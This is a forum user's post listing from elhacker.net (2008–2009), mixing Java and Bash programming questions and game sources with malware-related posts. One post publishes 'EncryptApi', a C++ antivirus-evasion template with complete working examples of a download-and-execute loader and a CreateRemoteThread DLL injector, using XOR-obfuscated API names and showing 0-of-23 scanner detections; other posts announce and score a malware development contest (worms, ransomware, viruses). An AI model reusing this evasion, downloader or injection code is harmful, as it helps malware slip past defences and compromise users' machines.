elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


  Mostrar Temas
Páginas: [1] 2 3 4 5
1  Programación / Java / Problema escribiendo en resource en: 31 Mayo 2009, 17:54 pm
Hola

Estoy haciendo una aplicación que tiene algunos datos configurables por el usuario (véase el idioma). Para ello si se inicia la aplicación por primera vez muestro un dialogo en el que se puede escoger un idioma de una lista.

Para saber si ya se ha escogido el idioma tengo un archivo properties así:
Código:
# Si ya está configurada la aplicación
IS_CONFIG=FALSE

# El idioma seleccionado
LANGUAGE=es

# Mas campos...

Este archivo se encuentra dentro del propio jar de mi aplicación, para leerlo no tengo ningún problema, obtengo su URL y todo arreglado.

El problema se me plantea al escribir la configuración en él.
El código que tengo es este:
Código
  1.    public void saveIsConfigurado(boolean isConfig) throws IOException
  2.    {
  3.        // Cargamos el archivo properties
  4.        Properties prop = new Properties();
  5.        prop.load(getUrl(ARCHIVO_CONFIGURACION).openStream());
  6.  
  7.        // Ponemos si está o no configurado
  8.        if(isConfig)
  9.            prop.setProperty(IS_CONFIG, TRUE);
  10.        else
  11.            prop.setProperty(IS_CONFIG, FALSE);
  12.  
  13.        // Guardamos el archivo
  14.        FileOutputStream fos = new FileOutputStream(getUrl(ARCHIVO_CONFIGURACION).getFile());
  15.        prop.store(fos, ARCHIVO_CONFIGURACION);
  16.    }

Me lanza esta excepción FileNotFound al intentar guardar la propiedad:
Citar
/home/e0n/.../nombre jar!/resources/config/config.properties (No such file or directory)

Si alguien me pudiera echar una mano le estaría muy agradecido
Salu2
2  Seguridad Informática / Abril negro / [Recopilatorio] Historia de Abril Negro en: 20 Mayo 2009, 01:59 am
      Con ánimo de organizar un poco mejor la extensa información de este subforo se van a crear nuevos post recopilatorios. Por favor, dado el gran número de post del foro es muy posible que algún post se nos pase por alto, no dudes en mandarme un MP para que se incluya en el recopilatorio. Si se encuentra algún error lo mismo ;)

      En este post se recopilarán todas las herramientas, manuales y códigos presentados en este evento desde sus inicios.




    Abril Negro 2006:

    Esta fue la primera edición del ya tradicional evento. Abril Negro se empezaría a lanzar a partir de este año, obviamente todos los meses de abril, para permitir a todos los usuarios hablar de los temas "tabú" del foro:
    http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro-t112698.0.html

    De igual manera se motiva a los usuarios a escribir toda clase de manuales, liberar códigos o diseñar herramientas de seguridad caseras, una muestra de lo que se hizo este año:

    Recopilación de manuales:
    http://foro.elhacker.net/analisis_y_diseno_de_malware/papers_abril_negro-t113673.0.html

    Algunas herramientas que he podido rescatar:
    http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_generador_de_worms_en_batch_by_hendrix-t118254.0.html
    http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_fake_by_higochumbo-t116693.0.html
    http://foro.elhacker.net/analisis_y_diseno_de_malware/primary_hacktool_v30_benru_sergi-t119661.0.html




    Abril Negro 2007:

    Este año Abril Negro tomo desgraciadamente un tono más negro de lo deseado y no se hizo mucha cosa, un post en el que se pusieron scripts maliciosos y muchas preguntas de como usar troyanos en el foro, por suerte eso cambiaría en años posteriores:
    http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_2007-t160386.0.html




    Abril Negro 2008:

    No con poca polémica, quizás por los resultados del año anterior, consiguió una vez más ver la luz este evento. Esta vez, el objetivo fue retomar el espíritu de los inicios del evento publicando más manuales, más herramientas y más códigos y se consiguió.
    http://foro.elhacker.net/analisis_y_diseno_de_malware/black_april_2008-t205970.0.html

    Esta es una muestra de lo que he conseguido rescatar del foro:

    Talleres y herramientas/códigos:


     


    Abril Negro 2009:

    En esta edición los usuarios del foro se salieron. Gracias a la instauración de las nuevas normas y del pertinente cambio del nombre del foro se acusó una interesante subida de nivel.

    En esta ocasión se llevó a cabo un concurso:
    http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_2009_concurso_de_desarrollo_de_malware-t252105.0.html

    Y pese a que no se publicó ningún manual se publicaron un total de 24 herramientas/códigos y esta vez todo lo que veis aquí es lo que se publicó gracias la la pertinente recopilación:
    http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_2009-t250385.0.html

    Herramientas/Códigos:

    3  Seguridad Informática / Abril negro / [Abril Negro 2009] Encuesta del concurso de desarrollo de malware en: 18 Mayo 2009, 15:19 pm
      Tema principal:
      http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_2009_concurso_de_desarrollo_de_malware-t252105.0.html

      Para más información:



      Resultado:

      • Premio a mejor código: Hacker_Zero y hkm (Empate)
      • Premio a la aplicación más original: Hacker_Zero y Jubjub (Empate)
      • Ganador de la votación: Hacker_Zero (tras conseguir 14 puntos extra por los dos premios anteriores)

      El-brujo se pondrá en contacto con vosotros para daros vuestro premio.

      Muchas felicidades a lo ganadores. Felicidades también a el resto de participantes por poner tanto empeño en vuestras aplicaciones y gracias al resto por colaborar en este Abril Negro haciendo que haya sido uno de los mejores ;)
      4  Seguridad Informática / Abril negro / Clase EncryptApi (Haz tus códigos indetectables fácilmente) en: 16 Mayo 2009, 17:02 pm
      EncryptApi:

      • ¿Qué es EncryptApi?

        EncryptApi es una platilla escrita en C++ que vale para cifrar de una forma sencilla e intuitiva nuestras api's evitando la detección heurística por parte de los antivirus de nuestro código.
        Su uso es tan simple como este:

        Código
        1. #include "EncryptApi.hpp"
        2.  
        3. int main()
        4. {
        5. EncryptApi<int> myMessageBox("MessageBoxA","User32.dll", 5);
        6. int retorno = myMessageBox(4, 0, "HOLA MUNDO!!", ":D", 0);
        7. }

      • ¿Qué es cada parámetro?

        Como habréis visto el uso es bastante simple, la declaración funciona así:

        Código
        1. EncryptApi<tipo_valor_de_retorno> (nombre_del_api, nombre_de_la_dll, numero_de_bytes_a_copiar);

        Y gracias a la sobrecarga del operador () se puede llamar al api como se haría normalmente tan solo indicando en el primer parámetro el número total de parámetros del api.

      • ¿Qué es número_de_bytes_a_copiar?

        Esta es la única parte parte que tiene un poco de dificultad. Internamente la clase crea un buffer donde copia los bytes que le indiquemos en este parámetro he introduce un salto a la dirección del api más número_de_bytes_a_copiar.
        De esta forma la clase, en vez de llamar al api, llama a este buffer, ejecutándose todo el código del api pero sin realizar una llamada directa, por lo que los antivirus ni se enteran.

        ¿Cómo podemos saber cuanto vale este valor? Pues muy fácil, ejecutamos el archivoDirApi.exe, que nos devolverá la dirección del api en memoria. Su código es este:

        Código
        1. #include <windows.h>
        2. #include <iostream>
        3. using namespace std;
        4.  
        5. void main()
        6. {
        7. char nombreApi[50];
        8. char nombreDll[50];
        9.  
        10. cout << "Introduzca el nombre del api:   ";
        11. cin  >> nombreApi;
        12. cout << "Introduzca el nombre de la dll: ";
        13. cin  >> nombreDll;
        14.  
        15. cout << "\nLa direccion del api es: "
        16. << GetProcAddress(LoadLibraryA(nombreDll), nombreApi) << endl;
        17.  
        18. system("pause");
        19. }

        En el caso del ejemplo la salida en mi PC es la siguiente:

        Citar
        Introduzca el nombre del api:   MessageBoxA
        Introduzca el nombre de la dll: User32.Dll

        La direccion del api es: 77D504EA
        Presione una tecla para continuar . . .

        Así que abrimos con nuestro debugger favorito la dll en cuestión, nos vamos a esa dirección y nos fijamos en el número de bytes completos que podemos elegir, es decir, si la primera instrucción ocupa 5 bytes elegimos ese valor, en ningún caso se puede partir por la mitad una instrucción, pues el programa no funcionaría.

      • ¿Y los resultados?

        Pues voy aponer dos ejemplos típicamente detectados, un simple downloader y un inyector (usa CreateRemoteThread).

        DOWNLOADER:
        Código
        1. #include "EncryptApi.hpp"
        2.  
        3. void xor(char *str, const char *clave, const int tamStr, const int tamClave)
        4. {
        5. for(int n=0; n<=tamStr; n++)
        6. str[n] ^= clave[n%tamClave];
        7. }
        8.  
        9. int main()
        10. {
        11. // Encriptacion de cadenas
        12. const char key[] = "df5DF4s";
        13. const int  tamKey = 7;
        14.  
        15. char strURLDownloadToFileA[] = { 0x31, 0x34, 0x79, 0x0, 0x29, 0x43, 0x1d, 0x8, 0x9, 0x54, 0x20,
        16.         0x12, 0x5b, 0x35, 0xd, 0xa, 0x50, 0x5, 0x46 };
        17. char strUrlmon[] =             { 0x31, 0x14, 0x59, 0x29, 0x29, 0x5a, 0x5d, 0x0, 0xa, 0x59, 0x44 };
        18. char strShellExecuteA[] =      { 0x37, 0xe, 0x50, 0x28, 0x2a, 0x71, 0xb, 0x1, 0x5, 0x40, 0x30, 0x23, 0x75, 0x73 };
        19. char strShell32[] =            { 0x37, 0xe, 0x50, 0x28, 0x2a, 0x7, 0x41, 0x4a, 0x2, 0x59, 0x28, 0x46 };
        20.  
        21. xor(strURLDownloadToFileA, key, sizeof(strURLDownloadToFileA)-1, tamKey);
        22. xor(strUrlmon,             key, sizeof(strUrlmon)-1,             tamKey);
        23. xor(strShellExecuteA,      key, sizeof(strShellExecuteA)-1,      tamKey);
        24. xor(strShell32,            key, sizeof(strShell32)-1,            tamKey);
        25.  
        26. // Codigo
        27. EncryptApi<HRESULT>   myURLDownloadToFile(strURLDownloadToFileA, strUrlmon, 11);
        28. EncryptApi<HINSTANCE> myShellExecute     (strShellExecuteA, strShell32, 5);
        29.  
        30. myURLDownloadToFile (5, 0, "http://foro.elhacker.net/Themes/converted/selogo.jpg", "C:\\imagen.jpg", 0, NULL);
        31. myShellExecute      (6, 0, "open", "C:\\imagen.jpg", NULL, NULL, SW_SHOW);
        32. }
        33.  

        Detección:
        Citar
        File Info

        Report generated: 16.5.2009 at 14.53.10 (GMT 1)
        File size: 8 KB
        MD5 Hash: 70B16F803C25C5E50A27A07F765CDB68
        SHA1 Hash: 98190B3085CCFAFC91BCF4458A072728C2E0D895
        Self-Extract Archive: Nothing found
        Binder Detector:  Nothing found
        Detection rate: 0 on 23

        Detections

        a-squared - Nothing found!
        Avira AntiVir - Nothing found!
        Avast - Nothing found!
        AVG - Nothing found!
        BitDefender - Nothing found!
        ClamAV - Nothing found!
        Comodo - Nothing found!  
        Dr.Web - Nothing found!
        Ewido - Nothing found!
        F-PROT 6 - Nothing found!
        IkarusT3 - Nothing found!
        Kaspersky - Nothing found!
        McAfee - Nothing found!  
        MHR (Malware Hash Registry) - Nothing found!
        NOD32 v3 - Nothing found!  
        Norman - Nothing found!
        Panda - Nothing found!
        Quick Heal - Nothing found!
        Solo Antivirus - Nothing found!
        Sophos - Nothing found!
        TrendMicro - Nothing found!
        VBA32 - Nothing found!    
        Virus Buster - Nothing found!

        Scan report generated by  
        NoVirusThanks.org


        INYECTOR:
        Código
        1. #include "EncryptApi.hpp"
        2.  
        3. void xor(char *str, const char *clave, const int tamStr, const int tamClave)
        4. {
        5. for(int n=0; n<=tamStr; n++)
        6. str[n] ^= clave[n%tamClave];
        7. }
        8.  
        9. int main()
        10. {
        11. // Encriptacion de cadenas
        12. const char key[] = "df5DF4s";
        13. const int  tamKey = 7;
        14.  
        15. char strCreateRemoteThread[] = { 0x27, 0x14, 0x50, 0x25, 0x32, 0x51, 0x21, 0x1, 0xb, 0x5a, 0x30, 0x23, 0x60, 0x1b,
        16.                             0x16, 0x3, 0x54, 0x20, 0x46 };
        17. char strWriteProcessMemory[] = { 0x33, 0x14, 0x5c, 0x30, 0x23, 0x64, 0x1, 0xb, 0x5, 0x50, 0x37, 0x35, 0x79, 0x16,
        18.                             0x9, 0x9, 0x47, 0x3d, 0x46 };
        19. char strVirtualAllocEx[]     = { 0x32, 0xf, 0x47, 0x30, 0x33, 0x55, 0x1f, 0x25, 0xa, 0x59, 0x2b, 0x25, 0x71, 0xb,
        20.                             0x64 };
        21. char strOpenProcess[]        = { 0x2b, 0x16, 0x50, 0x2a, 0x16, 0x46, 0x1c, 0x7, 0x3, 0x46, 0x37, 0x46 };
        22. char strGetModuleHandleA[]   = { 0x23, 0x3, 0x41, 0x9, 0x29, 0x50, 0x6, 0x8, 0x3, 0x7d, 0x25, 0x28, 0x50, 0x1f,
        23.                               0x1, 0x27, 0x35 };
        24. char strGetProcAddress[]     = { 0x23, 0x3, 0x41, 0x14, 0x34, 0x5b, 0x10, 0x25, 0x2, 0x51, 0x36, 0x23, 0x47, 0x0,
        25.                             0x64 };
        26. char strCloseHandle[]        = { 0x27, 0xa, 0x5a, 0x37, 0x23, 0x7c, 0x12, 0xa, 0x2, 0x59, 0x21, 0x46 };
        27. char strKernel32[]           = { 0x2f, 0x3, 0x47, 0x2a, 0x23, 0x58, 0x40, 0x56, 0x48, 0x51, 0x28, 0x2a, 0x34 };
        28.  
        29.  
        30. xor(strCreateRemoteThread, key, sizeof(strCreateRemoteThread)-1, tamKey);
        31. xor(strWriteProcessMemory, key, sizeof(strWriteProcessMemory)-1, tamKey);
        32. xor(strVirtualAllocEx, key, sizeof(strVirtualAllocEx)-1, tamKey);
        33. xor(strOpenProcess, key, sizeof(strOpenProcess)-1, tamKey);
        34. xor(strGetModuleHandleA, key, sizeof(strGetModuleHandleA)-1, tamKey);
        35. xor(strGetProcAddress, key, sizeof(strGetProcAddress)-1, tamKey);
        36. xor(strCloseHandle, key, sizeof(strCloseHandle)-1, tamKey);
        37. xor(strKernel32, key, sizeof(strKernel32)-1, tamKey);
        38.  
        39. EncryptApi<HANDLE>  myOpenProcess         (strOpenProcess, strKernel32, 5);
        40. EncryptApi<HMODULE> myGetModuleHandle     (strGetModuleHandleA, strKernel32, 5);
        41. EncryptApi<FARPROC> myGetProcAddress      (strGetProcAddress, strKernel32, 5);
        42. EncryptApi<LPVOID>  myVirtualAllocEx      (strVirtualAllocEx, strKernel32, 7);
        43. EncryptApi<BOOL>    myWriteProcessMemory  (strWriteProcessMemory, strKernel32, 5);
        44. EncryptApi<HANDLE>  myCreateRemoteThread  (strCreateRemoteThread, strKernel32, 5);
        45. EncryptApi<BOOL>    myCloseHandle         (strCloseHandle, strKernel32, 5);
        46.  
        47. // Inyeccion dll
        48. HANDLE proceso;
        49. LPVOID RemoteString;
        50. LPVOID nLoadLibrary;
        51. int pid = 1988;
        52. char rutaDll[] = "C:\\Dll.dll";
        53.  
        54. proceso = myOpenProcess(3,PROCESS_ALL_ACCESS, false, pid);
        55. nLoadLibrary = (LPVOID)myGetProcAddress(2,myGetModuleHandle(1,"kernel32.dll"),"LoadLibraryA");
        56. RemoteString = (LPVOID)myVirtualAllocEx(5,proceso,NULL,strlen(rutaDll),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
        57. myWriteProcessMemory(5,proceso,(LPVOID)RemoteString,rutaDll,strlen(rutaDll),NULL);
        58. myCreateRemoteThread(7,proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
        59. myCloseHandle(1,proceso);
        60.  
        61.  
        62. return 0;
        63. }
        64.  

        Detección:
        Citar
        File Info

        Report generated: 16.5.2009 at 16.28.41 (GMT 1)
        File size: 11 KB
        MD5 Hash: 52CDDB1FB86FD33D2FFF238FDAB67CED
        SHA1 Hash: 029C18B8FECC2522C65AB88C04D820EF32ECC091
        Self-Extract Archive: Nothing found
        Binder Detector:  Nothing found
        Detection rate: 0 on 23

        Detections

        a-squared - Nothing found!
        Avira AntiVir - Nothing found!
        Avast - Nothing found!
        AVG - Nothing found!
        BitDefender - Nothing found!
        ClamAV - Nothing found!
        Comodo - Nothing found!  
        Dr.Web - Nothing found!
        Ewido - Nothing found!
        F-PROT 6 - Nothing found!
        IkarusT3 - Nothing found!
        Kaspersky - Nothing found!
        McAfee - Nothing found!  
        MHR (Malware Hash Registry) - Nothing found!
        NOD32 v3 - Nothing found!  
        Norman - Nothing found!
        Panda - Nothing found!
        Quick Heal - Nothing found!
        Solo Antivirus - Nothing found!
        Sophos - Nothing found!
        TrendMicro - Nothing found!
        VBA32 - Nothing found!    
        Virus Buster - Nothing found!

        Scan report generated by  
        NoVirusThanks.org

        Como podéis ver de forma complementaria he usado una función para cifrar algunas cadenas, pues algún AV detectaba el ejecutable simplemente por contener esos strings sospechosos. Podéis usar cualquier cifrado, aunque un simple xor basta. He adjuntado el archivo XOR.exe que os devuelve la cadena cifrada para que la metáis en vuestro código directamente.

        Todos los códigos han sido compilados con VC++ 2008 express edition.


        Más información:
        http://e0n-productions.blogspot.com/2009/05/encryptapi.html

        Descarga:
        http://e0n-productions.awardspace.com/codigos/EncryptApi.rar_

        Traducción de la parte en asm a AT&T por Arcangel_0x7C5:
        http://arkangel.comuf.com//c++/EncryptApi.hpp
      5  Programación / Ingeniería Inversa / VirtualSize mayor que RawSize?? en: 10 Mayo 2009, 00:09 am
      Hola

      De siempre he tenido entendido que el VirtualSize debía ser menor que el RawSize, que el RawSize debía ser múltiplo del FileAlignment y que la diferencia debía estar rellenada con ceros.

      Por ejemplo, si un ejecutable tiene FileAlignment 10 y una sección tiene un VirtualSize = 22 el RawSize debería ser 30 y que los últimos 8 bytes de la sección deberían ser ceros.

      Y siempre lo he visto así en los exe's generados por el compilador, pero hoy me he puesto a añadir una sección con el Stud PE y para añadirla me pedía únicamente VirtualSize y RawSize, yo he puesto un RawSize múltiplo del FileAlignment (aunque si no es múltiplo funciona igual) y mi sorpresa es que cuando añado el VirtualSize (menor que el RawSize) me dice que tiene que ser mayor  :o :o

      Si lo pongo el exe funciona, de hecho si luego lo dejo menor peta, pero por que hay que hacerlo así?? no le veo sentido, si yo quiero introducir código en esa sección no puedo meter más código del que entra, que es lo que me están diciendo....

      Vamos, supongamos que quiero hacer una sección nueva que contendrá 15 bytes, si el FileAlignment es 10 el RawSize debería ser 20, pero no me deja, me obliga a poner un RawSize = 10... y donde meto yo los 5 bytes restantes???

      A ver si alguien puede aclararme esto..
      Salu2
      6  Seguridad Informática / Abril negro / [Abril Negro 2009] Concurso de desarrollo de malware en: 16 Abril 2009, 17:56 pm

      Concurso de desarrollo de malware



      • Bases del concurso:

        Para participar en el concurso hará falta presentar un trabajo ya sea una herramienta o un código, reaccionado con cualquier aspecto del malware, como puede ser una nueva técnica de infección, un método para eludir la heurística de X antivirus o una herramienta completa, por citar algunos ejemplos.

        Todo trabajo debe de ser open source, para poder apreciar la verdadera calidad del mismo. El post de presentación del trabajo debe tener una estructura similar a la siguiente:

             - Nombre del autor
             - Nombre de la herramienta
             - Lenguaje(s) en los que está diseñado
             - Descripción del trabajo
             - Captura de pantalla (en el caso de tener interfaz)
             - Link de descarga que contendrá el código fuente y el archivo ejecutable


      • Método de calificación:

        Los principales jueces de este evento seréis vosotros mismos con vuestros votos. Para evitar que solo se valore el aspecto gráfico del trabajo (ya que es lo primero que se ve)  se incluirán dos criterios más de calificación:

             - El trabajo más original
             - El mejor código

        Los miembros de el staff de elhacker.net serán los encargados de valorar estos dos aspectos de los trabajos, quedando lógicamente excluidos de la valoración de sus propios trabajos.
        La puntuación extra por obtener uno de estos dos títulos es el equivalente a obtener un +10% de los votos totales emitidos por los usuarios redondeados a la baja.

        Dicho de otra forma, si en total los usuarios del foro han emitido 65 votos en total, una aplicación con uno de estos dos títulos obtendría 6 puntos extra.


      • Plazos:

        Desde la fecha actual hasta el día 30 de abril en este post se permitirán hacer todo tipo de preguntas acerca de el concurso, comentarios indicando que se va a participar (recomendado para saber más o menos el número de personas que participarán) y publicar, en caso de haberse finalizado, el trabajo con el que se participará, que irá a parar a la recopilación del evento

        El día 30 de abril todos los comentarios hechos en este post, a excepción de la presentación de los trabajos serán borrados y solo se permitirá la publicación de nuevos trabajos.

        El día 17 de mayo  se cerrará el tema, no permitiendo de este modo la publicación de nuevos trabajos, y se añadirá una encuesta para que los usuarios puedan votar durante una semana el trabajo que más les haya gustado , hasta el día  24 de mayo. Para más información ver "Método de calificación.


      • Premios:

        El concursante que obtenga más puntos ganará una cuenta de correo @elhacker.net así como la publicación de su herramienta en el tablón de novedades de la web.

        Para los concursantes que hayan obtenido el título al mejor código o el trabajo más original habrá una cuenta de correo @elhacker.net.

        Para el resto de participantes que no reúnan ninguna de las condiciones anteriores también habrá premio. Su trabajo aparecerá en el tema recopilatorio de Abril Negro 2009, por no hablar de lo que aprenderán con el reto que siempre supone un nuevo proyecto.

        Y por supuesto el mayor premio será para todos los usuarios del foro por la posibilidad que el concurso les brinda para ver nuevos e innovadores códigos.




        Trabajos:



      • BeEFYPROXY - MITM Web por hkm

      • Su Do Scam por Jubjub

      • Gusano Tribant (p2p y usb) por dober-mann

      • Virus PLUTON por sk8erboi

      • Karcrack Ransom por Karcrack

      • Una mirada distinta a la conexión de un malware ó troyano por LixKeÜ

      • BHC (Batch Hide Compiler 2.0) por WHK

      • Virus Metamorph por Hacker_Zero

      • IntelliSense por 43H4FH44H45H4CH49H56H45H




        Votaciones:

        http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_2009_encuesta_del_concurso_de_desarrollo_de_malware-t255183.0.html
      7  Programación / Scripting / [Bash] Obtener la posición del cusor en: 22 Febrero 2009, 13:07 pm
      Hola

      Alguien sabe como puedo obtener la posición del cursor en bash? Se que en alguna variable tiene que guardarse ya que con "tput sc" se puede guardar la posición del cursor para luego restaurarla... pero no se donde ni si se puede acceder a ella (si es necesario hacerlo en C por que bsh no es potente no hay problema ;))

      Salu2 y gracias, E0N
      8  Programación / Java / Problema con Mediatracker en: 22 Diciembre 2008, 19:54 pm
      Hola

      Estoy realizando una aplicación que me tiene que pintar sobre un JFrame una imagen de fondo (cargada en un BufferedImage) e ir pintando dentro de ese mismo BufferedImage distintas figuras geométricas.
      El problema es que la imagen de fondo es de tamaño 800x600 que se pinta en la constructora de la clase "Fondo" y no le da tiempo. Pongo el código y luego explico con más detalle:

      Main.java:
      Código
      1. public class Main extends JFrame
      2. {    
      3.    // Ancho y alto de la ventana
      4.    private final int ANCHO = 800;
      5.    private final int ALTO  = 600;    
      6.  
      7.    // El media tracker
      8.    MediaTracker tracker;
      9.  
      10.    // El fondo
      11.    Fondo fondo;
      12.  
      13.    /***************************************************************************
      14.      **************************       INCIALIZAR      **************************
      15.      ***************************************************************************/
      16.  
      17.    public static void main(String[] args) { new Main(); }
      18.  
      19.    Main()
      20.    {
      21.        // Inicializamos los objetos
      22.        tracker = new MediaTracker(this); // El media tracker que usaré comúnmente a todas las clases
      23.        fondo   = new Fondo(tracker);
      24.  
      25.        // Inicializamos las propiedades de la ventana
      26.        this.setTitle("Roimpiendo texturas");
      27.        this.setSize (ANCHO, ALTO);
      28.        this.setDefaultCloseOperation(EXIT_ON_CLOSE);
      29.        this.setLocation(150, 150);
      30.        this.setVisible(true);      
      31.    }
      32.  
      33.  
      34.    /***************************************************************************
      35.      **************************        DIBUJAR        **************************
      36.      ***************************************************************************/
      37.  
      38.    private void dobleBuffer(Graphics2D g2)
      39.    {      
      40.        fondo.dibujar(g2, tracker);
      41.  
      42.        repaint();      
      43.    }
      44.  
      45.    public void paint (Graphics g)
      46.    {
      47.        Graphics2D g2 = (Graphics2D) g;
      48.  
      49.        Image mImagen = createImage(ANCHO, ALTO);
      50.        dobleBuffer((Graphics2D)mImagen.getGraphics());
      51.  
      52.        g2.drawImage(mImagen, 0, 20, this);
      53.  
      54.        try { Thread.sleep(100); } catch(Exception e) {}
      55.    }    
      56. }
      57.  

      Fondo.java:
      Código
      1. public class Fondo
      2. {
      3.    // Propiedades de las imágenes
      4.    private final String  rutaImagen = "imagenes/fondo.gif";
      5.    private BufferedImage imagen;
      6.  
      7.    public final int anchoImagen = 800;
      8.    public final int altoImagen  = 600;
      9.  
      10.  
      11.    /***************************************************************************
      12.      ***************************    CONSTRUCTORAS    ***************************
      13.      ***************************************************************************/
      14.  
      15.    public Fondo(MediaTracker tracker)
      16.    {
      17.        // Inicializamos el buffer sobre el que pintaremos
      18.        imagen = new BufferedImage (anchoImagen, altoImagen, BufferedImage.TYPE_INT_ARGB);
      19.  
      20.        // Dibujamos dentro del buffer el fondo
      21.        Graphics2D g = imagen.createGraphics();
      22.        Image aux = Toolkit.getDefaultToolkit().getImage(Main.class.getResource(rutaImagen));
      23.  
      24.  
      25.        // Añadimos las imagenes al MediaTracker
      26.        tracker.addImage(aux, 0);
      27.  
      28.        g.drawImage(aux, 0, 0, null);
      29.  
      30.        // Aquí intento que espere hasta que esté pintado pero sin éxito...        
      31.        try{tracker.waitForAll();}catch(Exception e){}
      32.    }
      33.  
      34.  
      35.    /***************************************************************************
      36.      ***************************       DIBUJAR       ***************************
      37.      ***************************************************************************/
      38.  
      39.    public void dibujar(Graphics2D g2, MediaTracker tracker)
      40.    {            
      41.        g2.drawImage(imagen, 0, 0, null);
      42.        //try{tracker.waitForAll();}catch(Exception e){} // ¿Es necesario?
      43.    }
      44.  
      45. }
      46.  


      Como podéis ver el mecanismo de la clase fondo es simple, en la constructora dibuja el fondo (se supone que el objeto MediaTracker debería esperar a que lo hiciese...) y en el método dibujar simplemente dibuja el BufferedImage ya que hay otros métodos encargados de dibujar sobre el mismo figuras geométricas como decía al principio.

      Ahora mis dos dudas:
      1 - ¿Cómo puedo hacer que realmente el programa espere a que el fondo esté pintado?
      2 - ¿Está bien inicializado el objeto MediaTracker? Ya que no entiendo muy bien la explicación de la constructora en la documentación:
      http://java.sun.com/j2se/1.4.2/docs/api/java/awt/MediaTracker.html

      1S4ludo y gracias ;)
      9  Programación / Java / [Source] Pong by E0N en: 6 Septiembre 2008, 01:52 am
      Hola

      Pues aquí traigo otro ejemplo de arcade simple, esta vez ya lo e hecho un poco más completo, con su pantalla para seleccionar juego jugador contra jugador o para juagr contra el Pc, para elegir una opción u otra basta con pulsar 1 o 2 (con el teclado numérico a mi por lo menos no me funciona, así que usad los números de encima de las teclas)


      Una vez elijáis el modo de juego llegaréis a esta pantalla donde ya podréis disfrutar de este simple, aunque entretenido juego xDDD


      El player 1 siempre maneja su paleta con las flechas de dirección arriba y abajo y el player 2 (en caso de elegir jugar con un amigo) lo hará con las teclas "Q" y "A".

      Por supuesto el código fuente viene incluido en el zip para que podáis ver como funciona y modificarlo a vuestro gusto.

      Bugs conocidos:
      - Si la pelota pasa rozando la paleta hará un movimiento un poco extraño y puede llegar a atascarse en el modo player vs computer.
      - Por lo menos en mi pc cuando ejecuto el programa desde el NetBeans funciona bien y fluidamente, si ejecuto el jar va a trompicones, si alguien fuese tan amable de testearlo a ver ;)


      Pues eso es todo, espero que podáis aprender algo del código y si tenéis alguna duda, sugerencia, insulto o amenaza pues prceded sin miedo en el post jajaja

      Salu2 E0N
      10  Programación / Java / [Source] Space Invaders en: 2 Septiembre 2008, 13:00 pm
      Hola

      Acabo de terminar un arcade que imita en cierta parte a el mítico juego Space Invaders:


      La idea de hacer este juego, así como los sprites están sacados de esta web:
      http://www.planetalia.com/cursos/

      Eso si, el código no se parece en nada, así que tenéis dos ejemplos de lo mismo :P Aun le faltan muchas cosas por añadir, como niveles, unas animaciones más depuradas, un fondo, vidas, etc, etc.. Por ahora solo se puede jugar a un nivel que se acaba cuando matéis a los marcianitos o ellos a vosotros. Los marcianos chocan entre ellos, se mueven aleatoriamente y poco más jajaja Así que si queréis mejorarlo pues ya sabéis ;)

      Espero que a alguien le sea útil
      Salu2 E0N
      Páginas: [1] 2 3 4 5
      WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines